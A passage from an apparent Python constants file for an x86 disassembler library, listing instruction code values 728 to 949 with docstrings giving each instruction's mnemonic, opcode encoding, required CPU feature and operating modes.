``X64``
``64-bit``
"""
NEG_RM16: int = 728
"""
``NEG r/m16``
``o16 F7 /3``
``8086+``
``16/32/64-bit``
"""
NEG_RM32: int = 729
"""
``NEG r/m32``
``o32 F7 /3``
``386+``
``16/32/64-bit``
"""
NEG_RM64: int = 730
"""
``NEG r/m64``
``o64 F7 /3``
``X64``
``64-bit``
"""
MUL_RM16: int = 731
"""
``MUL r/m16``
``o16 F7 /4``
``8086+``
``16/32/64-bit``
"""
MUL_RM32: int = 732
"""
``MUL r/m32``
``o32 F7 /4``
``386+``
``16/32/64-bit``
"""
MUL_RM64: int = 733
"""
``MUL r/m64``
``o64 F7 /4``
``X64``
``64-bit``
"""
IMUL_RM16: int = 734
"""
``IMUL r/m16``
``o16 F7 /5``
``8086+``
``16/32/64-bit``
"""
IMUL_RM32: int = 735
"""
``IMUL r/m32``
``o32 F7 /5``
``386+``
``16/32/64-bit``
"""
IMUL_RM64: int = 736
"""
``IMUL r/m64``
``o64 F7 /5``
``X64``
``64-bit``
"""
DIV_RM16: int = 737
"""
``DIV r/m16``
``o16 F7 /6``
``8086+``
``16/32/64-bit``
"""
DIV_RM32: int = 738
"""
``DIV r/m32``
``o32 F7 /6``
``386+``
``16/32/64-bit``
"""
DIV_RM64: int = 739
"""
``DIV r/m64``
``o64 F7 /6``
``X64``
``64-bit``
"""
IDIV_RM16: int = 740
"""
``IDIV r/m16``
``o16 F7 /7``
``8086+``
``16/32/64-bit``
"""
IDIV_RM32: int = 741
"""
``IDIV r/m32``
``o32 F7 /7``
``386+``
``16/32/64-bit``
"""
IDIV_RM64: int = 742
"""
``IDIV r/m64``
``o64 F7 /7``
``X64``
``64-bit``
"""
CLC: int = 743
"""
``CLC``
``F8``
``8086+``
``16/32/64-bit``
"""
STC: int = 744
"""
``STC``
``F9``
``8086+``
``16/32/64-bit``
"""
CLI: int = 745
"""
``CLI``
``FA``
``8086+``
``16/32/64-bit``
"""
STI: int = 746
"""
``STI``
``FB``
``8086+``
``16/32/64-bit``
"""
CLD: int = 747
"""
``CLD``
``FC``
``8086+``
``16/32/64-bit``
"""
STD: int = 748
"""
``STD``
``FD``
``8086+``
``16/32/64-bit``
"""
INC_RM8: int = 749
"""
``INC r/m8``
``FE /0``
``8086+``
``16/32/64-bit``
"""
DEC_RM8: int = 750
"""
``DEC r/m8``
``FE /1``
``8086+``
``16/32/64-bit``
"""
INC_RM16: int = 751
"""
``INC r/m16``
``o16 FF /0``
``8086+``
``16/32/64-bit``
"""
INC_RM32: int = 752
"""
``INC r/m32``
``o32 FF /0``
``386+``
``16/32/64-bit``
"""
INC_RM64: int = 753
"""
``INC r/m64``
``o64 FF /0``
``X64``
``64-bit``
"""
DEC_RM16: int = 754
"""
``DEC r/m16``
``o16 FF /1``
``8086+``
``16/32/64-bit``
"""
DEC_RM32: int = 755
"""
``DEC r/m32``
``o32 FF /1``
``386+``
``16/32/64-bit``
"""
DEC_RM64: int = 756
"""
``DEC r/m64``
``o64 FF /1``
``X64``
``64-bit``
"""
CALL_RM16: int = 757
"""
``CALL r/m16``
``o16 FF /2``
``8086+``
``16/32/64-bit``
"""
CALL_RM32: int = 758
"""
``CALL r/m32``
``o32 FF /2``
``386+``
``16/32-bit``
"""
CALL_RM64: int = 759
"""
``CALL r/m64``
``o64 FF /2``
``X64``
``64-bit``
"""
CALL_M1616: int = 760
"""
``CALL m16:16``
``o16 FF /3``
``8086+``
``16/32/64-bit``
"""
CALL_M1632: int = 761
"""
``CALL m16:32``
``o32 FF /3``
``386+``
``16/32/64-bit``
"""
CALL_M1664: int = 762
"""
``CALL m16:64``
``o64 FF /3``
``X64``
``64-bit``
"""
JMP_RM16: int = 763
"""
``JMP r/m16``
``o16 FF /4``
``8086+``
``16/32/64-bit``
"""
JMP_RM32: int = 764
"""
``JMP r/m32``
``o32 FF /4``
``386+``
``16/32-bit``
"""
JMP_RM64: int = 765
"""
``JMP r/m64``
``o64 FF /4``
``X64``
``64-bit``
"""
JMP_M1616: int = 766
"""
``JMP m16:16``
``o16 FF /5``
``8086+``
``16/32/64-bit``
"""
JMP_M1632: int = 767
"""
``JMP m16:32``
``o32 FF /5``
``386+``
``16/32/64-bit``
"""
JMP_M1664: int = 768
"""
``JMP m16:64``
``o64 FF /5``
``X64``
``64-bit``
"""
PUSH_RM16: int = 769
"""
``PUSH r/m16``
``o16 FF /6``
``8086+``
``16/32/64-bit``
"""
PUSH_RM32: int = 770
"""
``PUSH r/m32``
``o32 FF /6``
``386+``
``16/32-bit``
"""
PUSH_RM64: int = 771
"""
``PUSH r/m64``
``o64 FF /6``
``X64``
``64-bit``
"""
SLDT_RM16: int = 772
"""
``SLDT r/m16``
``o16 0F 00 /0``
``286+``
``16/32/64-bit``
"""
SLDT_R32M16: int = 773
"""
``SLDT r32/m16``
``o32 0F 00 /0``
``386+``
``16/32/64-bit``
"""
SLDT_R64M16: int = 774
"""
``SLDT r64/m16``
``o64 0F 00 /0``
``X64``
``64-bit``
"""
STR_RM16: int = 775
"""
``STR r/m16``
``o16 0F 00 /1``
``286+``
``16/32/64-bit``
"""
STR_R32M16: int = 776
"""
``STR r32/m16``
``o32 0F 00 /1``
``386+``
``16/32/64-bit``
"""
STR_R64M16: int = 777
"""
``STR r64/m16``
``o64 0F 00 /1``
``X64``
``64-bit``
"""
LLDT_RM16: int = 778
"""
``LLDT r/m16``
``o16 0F 00 /2``
``286+``
``16/32/64-bit``
"""
LLDT_R32M16: int = 779
"""
``LLDT r32/m16``
``o32 0F 00 /2``
``386+``
``16/32/64-bit``
"""
LLDT_R64M16: int = 780
"""
``LLDT r64/m16``
``o64 0F 00 /2``
``X64``
``64-bit``
"""
LTR_RM16: int = 781
"""
``LTR r/m16``
``o16 0F 00 /3``
``286+``
``16/32/64-bit``
"""
LTR_R32M16: int = 782
"""
``LTR r32/m16``
``o32 0F 00 /3``
``386+``
``16/32/64-bit``
"""
LTR_R64M16: int = 783
"""
``LTR r64/m16``
``o64 0F 00 /3``
``X64``
``64-bit``
"""
VERR_RM16: int = 784
"""
``VERR r/m16``
``o16 0F 00 /4``
``286+``
``16/32/64-bit``
"""
VERR_R32M16: int = 785
"""
``VERR r32/m16``
``o32 0F 00 /4``
``386+``
``16/32/64-bit``
"""
VERR_R64M16: int = 786
"""
``VERR r64/m16``
``o64 0F 00 /4``
``X64``
``64-bit``
"""
VERW_RM16: int = 787
"""
``VERW r/m16``
``o16 0F 00 /5``
``286+``
``16/32/64-bit``
"""
VERW_R32M16: int = 788
"""
``VERW r32/m16``
``o32 0F 00 /5``
``386+``
``16/32/64-bit``
"""
VERW_R64M16: int = 789
"""
``VERW r64/m16``
``o64 0F 00 /5``
``X64``
``64-bit``
"""
JMPE_RM16: int = 790
"""
``JMPE r/m16``
``o16 0F 00 /6``
``IA-64``
``16/32-bit``
"""
JMPE_RM32: int = 791
"""
``JMPE r/m32``
``o32 0F 00 /6``
``IA-64``
``16/32-bit``
"""
SGDT_M1632_16: int = 792
"""
``SGDT m``
``o16 0F 01 /0``
``286+``
``16/32-bit``
"""
SGDT_M1632: int = 793
"""
``SGDT m``
``o32 0F 01 /0``
``386+``
``16/32-bit``
"""
SGDT_M1664: int = 794
"""
``SGDT m``
``0F 01 /0``
``X64``
``64-bit``
"""
SIDT_M1632_16: int = 795
"""
``SIDT m``
``o16 0F 01 /1``
``286+``
``16/32-bit``
"""
SIDT_M1632: int = 796
"""
``SIDT m``
``o32 0F 01 /1``
``386+``
``16/32-bit``
"""
SIDT_M1664: int = 797
"""
``SIDT m``
``0F 01 /1``
``X64``
``64-bit``
"""
LGDT_M1632_16: int = 798
"""
``LGDT m16&32``
``o16 0F 01 /2``
``286+``
``16/32-bit``
"""
LGDT_M1632: int = 799
"""
``LGDT m16&32``
``o32 0F 01 /2``
``386+``
``16/32-bit``
"""
LGDT_M1664: int = 800
"""
``LGDT m16&64``
``0F 01 /2``
``X64``
``64-bit``
"""
LIDT_M1632_16: int = 801
"""
``LIDT m16&32``
``o16 0F 01 /3``
``286+``
``16/32-bit``
"""
LIDT_M1632: int = 802
"""
``LIDT m16&32``
``o32 0F 01 /3``
``386+``
``16/32-bit``
"""
LIDT_M1664: int = 803
"""
``LIDT m16&64``
``0F 01 /3``
``X64``
``64-bit``
"""
SMSW_RM16: int = 804
"""
``SMSW r/m16``
``o16 0F 01 /4``
``286+``
``16/32/64-bit``
"""
SMSW_R32M16: int = 805
"""
``SMSW r32/m16``
``o32 0F 01 /4``
``386+``
``16/32/64-bit``
"""
SMSW_R64M16: int = 806
"""
``SMSW r64/m16``
``o64 0F 01 /4``
``X64``
``64-bit``
"""
RSTORSSP_M64: int = 807
"""
``RSTORSSP m64``
``F3 0F 01 /5``
``CET_SS``
``16/32/64-bit``
"""
LMSW_RM16: int = 808
"""
``LMSW r/m16``
``o16 0F 01 /6``
``286+``
``16/32/64-bit``
"""
LMSW_R32M16: int = 809
"""
``LMSW r32/m16``
``o32 0F 01 /6``
``386+``
``16/32/64-bit``
"""
LMSW_R64M16: int = 810
"""
``LMSW r64/m16``
``o64 0F 01 /6``
``X64``
``64-bit``
"""
INVLPG_M: int = 811
"""
``INVLPG m``
``0F 01 /7``
``486+``
``16/32/64-bit``
"""
ENCLV: int = 812
"""
``ENCLV``
``NP 0F 01 C0``
``OSS``
``16/32/64-bit``
"""
VMCALL: int = 813
"""
``VMCALL``
``NP 0F 01 C1``
``VMX``
``16/32/64-bit``
"""
VMLAUNCH: int = 814
"""
``VMLAUNCH``
``NP 0F 01 C2``
``VMX``
``16/32/64-bit``
"""
VMRESUME: int = 815
"""
``VMRESUME``
``NP 0F 01 C3``
``VMX``
``16/32/64-bit``
"""
VMXOFF: int = 816
"""
``VMXOFF``
``NP 0F 01 C4``
``VMX``
``16/32/64-bit``
"""
PCONFIG: int = 817
"""
``PCONFIG``
``NP 0F 01 C5``
``PCONFIG``
``16/32/64-bit``
"""
MONITORW: int = 818
"""
``MONITOR``
``a16 NP 0F 01 C8``
``MONITOR``
``16/32-bit``
"""
MONITORD: int = 819
"""
``MONITOR``
``a32 NP 0F 01 C8``
``MONITOR``
``16/32/64-bit``
"""
MONITORQ: int = 820
"""
``MONITOR``
``a64 NP 0F 01 C8``
``MONITOR``
``64-bit``
"""
MWAIT: int = 821
"""
``MWAIT``
``NP 0F 01 C9``
``MONITOR``
``16/32/64-bit``
"""
CLAC: int = 822
"""
``CLAC``
``NP 0F 01 CA``
``SMAP``
``16/32/64-bit``
"""
STAC: int = 823
"""
``STAC``
``NP 0F 01 CB``
``SMAP``
``16/32/64-bit``
"""
ENCLS: int = 824
"""
``ENCLS``
``NP 0F 01 CF``
``SGX1``
``16/32/64-bit``
"""
XGETBV: int = 825
"""
``XGETBV``
``NP 0F 01 D0``
``XSAVE``
``16/32/64-bit``
"""
XSETBV: int = 826
"""
``XSETBV``
``NP 0F 01 D1``
``XSAVE``
``16/32/64-bit``
"""
VMFUNC: int = 827
"""
``VMFUNC``
``NP 0F 01 D4``
``VMX``
``16/32/64-bit``
"""
XEND: int = 828
"""
``XEND``
``NP 0F 01 D5``
``RTM``
``16/32/64-bit``
"""
XTEST: int = 829
"""
``XTEST``
``NP 0F 01 D6``
``HLE or RTM``
``16/32/64-bit``
"""
ENCLU: int = 830
"""
``ENCLU``
``NP 0F 01 D7``
``SGX1``
``16/32/64-bit``
"""
VMRUNW: int = 831
"""
``VMRUN``
``a16 0F 01 D8``
``SVM``
``16/32-bit``
"""
VMRUND: int = 832
"""
``VMRUN``
``a32 0F 01 D8``
``SVM``
``16/32/64-bit``
"""
VMRUNQ: int = 833
"""
``VMRUN``
``a64 0F 01 D8``
``SVM``
``64-bit``
"""
VMMCALL: int = 834
"""
``VMMCALL``
``0F 01 D9``
``SVM``
``16/32/64-bit``
"""
VMLOADW: int = 835
"""
``VMLOAD``
``a16 0F 01 DA``
``SVM``
``16/32-bit``
"""
VMLOADD: int = 836
"""
``VMLOAD``
``a32 0F 01 DA``
``SVM``
``16/32/64-bit``
"""
VMLOADQ: int = 837
"""
``VMLOAD``
``a64 0F 01 DA``
``SVM``
``64-bit``
"""
VMSAVEW: int = 838
"""
``VMSAVE``
``a16 0F 01 DB``
``SVM``
``16/32-bit``
"""
VMSAVED: int = 839
"""
``VMSAVE``
``a32 0F 01 DB``
``SVM``
``16/32/64-bit``
"""
VMSAVEQ: int = 840
"""
``VMSAVE``
``a64 0F 01 DB``
``SVM``
``64-bit``
"""
STGI: int = 841
"""
``STGI``
``0F 01 DC``
``SKINIT or SVM``
``16/32/64-bit``
"""
CLGI: int = 842
"""
``CLGI``
``0F 01 DD``
``SVM``
``16/32/64-bit``
"""
SKINIT: int = 843
"""
``SKINIT``
``0F 01 DE``
``SKINIT or SVM``
``16/32/64-bit``
"""
INVLPGAW: int = 844
"""
``INVLPGA``
``a16 0F 01 DF``
``SVM``
``16/32-bit``
"""
INVLPGAD: int = 845
"""
``INVLPGA``
``a32 0F 01 DF``
``SVM``
``16/32/64-bit``
"""
INVLPGAQ: int = 846
"""
``INVLPGA``
``a64 0F 01 DF``
``SVM``
``64-bit``
"""
SETSSBSY: int = 847
"""
``SETSSBSY``
``F3 0F 01 E8``
``CET_SS``
``16/32/64-bit``
"""
SAVEPREVSSP: int = 848
"""
``SAVEPREVSSP``
``F3 0F 01 EA``
``CET_SS``
``16/32/64-bit``
"""
RDPKRU: int = 849
"""
``RDPKRU``
``NP 0F 01 EE``
``PKU``
``16/32/64-bit``
"""
WRPKRU: int = 850
"""
``WRPKRU``
``NP 0F 01 EF``
``PKU``
``16/32/64-bit``
"""
SWAPGS: int = 851
"""
``SWAPGS``
``0F 01 F8``
``X64``
``64-bit``
"""
RDTSCP: int = 852
"""
``RDTSCP``
``0F 01 F9``
``RDTSCP``
``16/32/64-bit``
"""
MONITORXW: int = 853
"""
``MONITORX``
``a16 NP 0F 01 FA``
``MONITORX``
``16/32-bit``
"""
MONITORXD: int = 854
"""
``MONITORX``
``a32 NP 0F 01 FA``
``MONITORX``
``16/32/64-bit``
"""
MONITORXQ: int = 855
"""
``MONITORX``
``a64 NP 0F 01 FA``
``MONITORX``
``64-bit``
"""
MCOMMIT: int = 856
"""
``MCOMMIT``
``F3 0F 01 FA``
``MCOMMIT``
``16/32/64-bit``
"""
MWAITX: int = 857
"""
``MWAITX``
``NP 0F 01 FB``
``MONITORX``
``16/32/64-bit``
"""
CLZEROW: int = 858
"""
``CLZERO``
``a16 0F 01 FC``
``CLZERO``
``16/32-bit``
"""
CLZEROD: int = 859
"""
``CLZERO``
``a32 0F 01 FC``
``CLZERO``
``16/32/64-bit``
"""
CLZEROQ: int = 860
"""
``CLZERO``
``a64 0F 01 FC``
``CLZERO``
``64-bit``
"""
RDPRU: int = 861
"""
``RDPRU``
``0F 01 FD``
``RDPRU``
``16/32/64-bit``
"""
LAR_R16_RM16: int = 862
"""
``LAR r16, r/m16``
``o16 0F 02 /r``
``286+``
``16/32/64-bit``
"""
LAR_R32_R32M16: int = 863
"""
``LAR r32, r32/m16``
``o32 0F 02 /r``
``386+``
``16/32/64-bit``
"""
LAR_R64_R64M16: int = 864
"""
``LAR r64, r64/m16``
``o64 0F 02 /r``
``X64``
``64-bit``
"""
LSL_R16_RM16: int = 865
"""
``LSL r16, r/m16``
``o16 0F 03 /r``
``286+``
``16/32/64-bit``
"""
LSL_R32_R32M16: int = 866
"""
``LSL r32, r32/m16``
``o32 0F 03 /r``
``386+``
``16/32/64-bit``
"""
LSL_R64_R64M16: int = 867
"""
``LSL r64, r64/m16``
``o64 0F 03 /r``
``X64``
``64-bit``
"""
STOREALL: int = 868
"""
``STOREALL``
``0F 04``
``286``
``16/32-bit``
"""
LOADALL286: int = 869
"""
``LOADALL``
``0F 05``
``286``
``16/32-bit``
"""
SYSCALL: int = 870
"""
``SYSCALL``
``0F 05``
``SYSCALL``
``16/32/64-bit``
"""
CLTS: int = 871
"""
``CLTS``
``0F 06``
``286+``
``16/32/64-bit``
"""
LOADALL386: int = 872
"""
``LOADALL``
``0F 07``
``386``
``16/32-bit``
"""
SYSRETD: int = 873
"""
``SYSRET``
``0F 07``
``SYSCALL``
``16/32/64-bit``
"""
SYSRETQ: int = 874
"""
``SYSRETQ``
``o64 0F 07``
``SYSCALL``
``64-bit``
"""
INVD: int = 875
"""
``INVD``
``0F 08``
``486+``
``16/32/64-bit``
"""
WBINVD: int = 876
"""
``WBINVD``
``0F 09``
``486+``
``16/32/64-bit``
"""
WBNOINVD: int = 877
"""
``WBNOINVD``
``F3 0F 09``
``WBNOINVD``
``16/32/64-bit``
"""
CL1INVMB: int = 878
"""
``CL1INVMB``
``0F 0A``
``CL1INVMB``
``16/32-bit``
"""
UD2: int = 879
"""
``UD2``
``0F 0B``
``286+``
``16/32/64-bit``
"""
RESERVEDNOP_RM16_R16_0F0D: int = 880
"""
``RESERVEDNOP r/m16, r16``
``o16 0F 0D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM32_R32_0F0D: int = 881
"""
``RESERVEDNOP r/m32, r32``
``o32 0F 0D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``16/32/64-bit``
"""
RESERVEDNOP_RM64_R64_0F0D: int = 882
"""
``RESERVEDNOP r/m64, r64``
``o64 0F 0D /r``
``CPUID.01H.EAX[Bits 11:8] = 0110B or 1111B``
``64-bit``
"""
PREFETCH_M8: int = 883
"""
``PREFETCH m8``
``0F 0D /0``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHW_M8: int = 884
"""
``PREFETCHW m8``
``0F 0D /1``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHWT1_M8: int = 885
"""
``PREFETCHWT1 m8``
``0F 0D /2``
``PREFETCHWT1``
``16/32/64-bit``
"""
FEMMS: int = 886
"""
``FEMMS``
``0F 0E``
``3DNOW``
``16/32/64-bit``
"""
UMOV_RM8_R8: int = 887
"""
``UMOV r/m8, r8``
``0F 10 /r``
``386/486``
``16/32-bit``
"""
UMOV_RM16_R16: int = 888
"""
``UMOV r/m16, r16``
``o16 0F 11 /r``
``386/486``
``16/32-bit``
"""
UMOV_RM32_R32: int = 889
"""
``UMOV r/m32, r32``
``o32 0F 11 /r``
``386/486``
``16/32-bit``
"""
UMOV_R8_RM8: int = 890
"""
``UMOV r8, r/m8``
``0F 12 /r``
``386/486``
``16/32-bit``
"""
UMOV_R16_RM16: int = 891
"""
``UMOV r16, r/m16``
``o16 0F 13 /r``
``386/486``
``16/32-bit``
"""
UMOV_R32_RM32: int = 892
"""
``UMOV r32, r/m32``
``o32 0F 13 /r``
``386/486``
``16/32-bit``
"""
MOVUPS_XMM_XMMM128: int = 893
"""
``MOVUPS xmm1, xmm2/m128``
``NP 0F 10 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVUPS_XMM_XMMM128: int = 894
"""
``VMOVUPS xmm1, xmm2/m128``
``VEX.128.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVUPS_YMM_YMMM256: int = 895
"""
``VMOVUPS ymm1, ymm2/m256``
``VEX.256.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVUPS_XMM_K1Z_XMMM128: int = 896
"""
``VMOVUPS xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.0F.W0 10 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPS_YMM_K1Z_YMMM256: int = 897
"""
``VMOVUPS ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.0F.W0 10 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPS_ZMM_K1Z_ZMMM512: int = 898
"""
``VMOVUPS zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.0F.W0 10 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVUPD_XMM_XMMM128: int = 899
"""
``MOVUPD xmm1, xmm2/m128``
``66 0F 10 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVUPD_XMM_XMMM128: int = 900
"""
``VMOVUPD xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVUPD_YMM_YMMM256: int = 901
"""
``VMOVUPD ymm1, ymm2/m256``
``VEX.256.66.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVUPD_XMM_K1Z_XMMM128: int = 902
"""
``VMOVUPD xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F.W1 10 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPD_YMM_K1Z_YMMM256: int = 903
"""
``VMOVUPD ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F.W1 10 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPD_ZMM_K1Z_ZMMM512: int = 904
"""
``VMOVUPD zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F.W1 10 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSS_XMM_XMMM32: int = 905
"""
``MOVSS xmm1, xmm2/m32``
``F3 0F 10 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVSS_XMM_XMM_XMM: int = 906
"""
``VMOVSS xmm1, xmm2, xmm3``
``VEX.LIG.F3.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSS_XMM_M32: int = 907
"""
``VMOVSS xmm1, m32``
``VEX.LIG.F3.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSS_XMM_K1Z_XMM_XMM: int = 908
"""
``VMOVSS xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F3.0F.W0 10 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSS_XMM_K1Z_M32: int = 909
"""
``VMOVSS xmm1 {k1}{z}, m32``
``EVEX.LIG.F3.0F.W0 10 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSD_XMM_XMMM64: int = 910
"""
``MOVSD xmm1, xmm2/m64``
``F2 0F 10 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVSD_XMM_XMM_XMM: int = 911
"""
``VMOVSD xmm1, xmm2, xmm3``
``VEX.LIG.F2.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSD_XMM_M64: int = 912
"""
``VMOVSD xmm1, m64``
``VEX.LIG.F2.0F.WIG 10 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSD_XMM_K1Z_XMM_XMM: int = 913
"""
``VMOVSD xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F2.0F.W1 10 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSD_XMM_K1Z_M64: int = 914
"""
``VMOVSD xmm1 {k1}{z}, m64``
``EVEX.LIG.F2.0F.W1 10 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVUPS_XMMM128_XMM: int = 915
"""
``MOVUPS xmm2/m128, xmm1``
``NP 0F 11 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVUPS_XMMM128_XMM: int = 916
"""
``VMOVUPS xmm2/m128, xmm1``
``VEX.128.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVUPS_YMMM256_YMM: int = 917
"""
``VMOVUPS ymm2/m256, ymm1``
``VEX.256.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVUPS_XMMM128_K1Z_XMM: int = 918
"""
``VMOVUPS xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.0F.W0 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPS_YMMM256_K1Z_YMM: int = 919
"""
``VMOVUPS ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.0F.W0 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPS_ZMMM512_K1Z_ZMM: int = 920
"""
``VMOVUPS zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.0F.W0 11 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVUPD_XMMM128_XMM: int = 921
"""
``MOVUPD xmm2/m128, xmm1``
``66 0F 11 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVUPD_XMMM128_XMM: int = 922
"""
``VMOVUPD xmm2/m128, xmm1``
``VEX.128.66.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVUPD_YMMM256_YMM: int = 923
"""
``VMOVUPD ymm2/m256, ymm1``
``VEX.256.66.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVUPD_XMMM128_K1Z_XMM: int = 924
"""
``VMOVUPD xmm2/m128 {k1}{z}, xmm1``
``EVEX.128.66.0F.W1 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPD_YMMM256_K1Z_YMM: int = 925
"""
``VMOVUPD ymm2/m256 {k1}{z}, ymm1``
``EVEX.256.66.0F.W1 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVUPD_ZMMM512_K1Z_ZMM: int = 926
"""
``VMOVUPD zmm2/m512 {k1}{z}, zmm1``
``EVEX.512.66.0F.W1 11 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSS_XMMM32_XMM: int = 927
"""
``MOVSS xmm2/m32, xmm1``
``F3 0F 11 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVSS_XMM_XMM_XMM_0F11: int = 928
"""
``VMOVSS xmm1, xmm2, xmm3``
``VEX.LIG.F3.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSS_M32_XMM: int = 929
"""
``VMOVSS m32, xmm1``
``VEX.LIG.F3.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSS_XMM_K1Z_XMM_XMM_0F11: int = 930
"""
``VMOVSS xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F3.0F.W0 11 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSS_M32_K1_XMM: int = 931
"""
``VMOVSS m32 {k1}, xmm1``
``EVEX.LIG.F3.0F.W0 11 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSD_XMMM64_XMM: int = 932
"""
``MOVSD xmm1/m64, xmm2``
``F2 0F 11 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVSD_XMM_XMM_XMM_0F11: int = 933
"""
``VMOVSD xmm1, xmm2, xmm3``
``VEX.LIG.F2.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSD_M64_XMM: int = 934
"""
``VMOVSD m64, xmm1``
``VEX.LIG.F2.0F.WIG 11 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSD_XMM_K1Z_XMM_XMM_0F11: int = 935
"""
``VMOVSD xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F2.0F.W1 11 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVSD_M64_K1_XMM: int = 936
"""
``VMOVSD m64 {k1}, xmm1``
``EVEX.LIG.F2.0F.W1 11 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVHLPS_XMM_XMM: int = 937
"""
``MOVHLPS xmm1, xmm2``
``NP 0F 12 /r``
``SSE``
``16/32/64-bit``
"""
MOVLPS_XMM_M64: int = 938
"""
``MOVLPS xmm1, m64``
``NP 0F 12 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMOVHLPS_XMM_XMM_XMM: int = 939
"""
``VMOVHLPS xmm1, xmm2, xmm3``
``VEX.128.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVLPS_XMM_XMM_M64: int = 940
"""
``VMOVLPS xmm2, xmm1, m64``
``VEX.128.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVHLPS_XMM_XMM_XMM: int = 941
"""
``VMOVHLPS xmm1, xmm2, xmm3``
``EVEX.128.0F.W0 12 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVLPS_XMM_XMM_M64: int = 942
"""
``VMOVLPS xmm2, xmm1, m64``
``EVEX.128.0F.W0 12 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVLPD_XMM_M64: int = 943
"""
``MOVLPD xmm1, m64``
``66 0F 12 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVLPD_XMM_XMM_M64: int = 944
"""
``VMOVLPD xmm2, xmm1, m64``
``VEX.128.66.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVLPD_XMM_XMM_M64: int = 945
"""
``VMOVLPD xmm2, xmm1, m64``
``EVEX.128.66.0F.W1 12 /r``
``AVX512F``
``16/32/64-bit``
"""
MOVSLDUP_XMM_XMMM128: int = 946
"""
``MOVSLDUP xmm1, xmm2/m128``
``F3 0F 12 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VMOVSLDUP_XMM_XMMM128: int = 947
"""
``VMOVSLDUP xmm1, xmm2/m128``
``VEX.128.F3.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVSLDUP_YMM_YMMM256: int = 948
"""
``VMOVSLDUP ymm1, ymm2/m256``
``VEX.256.F3.0F.WIG 12 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVSLDUP_XMM_K1Z_XMMM128: int = 949
"""
``VMOVSLDUP xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F3.0F.W0 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
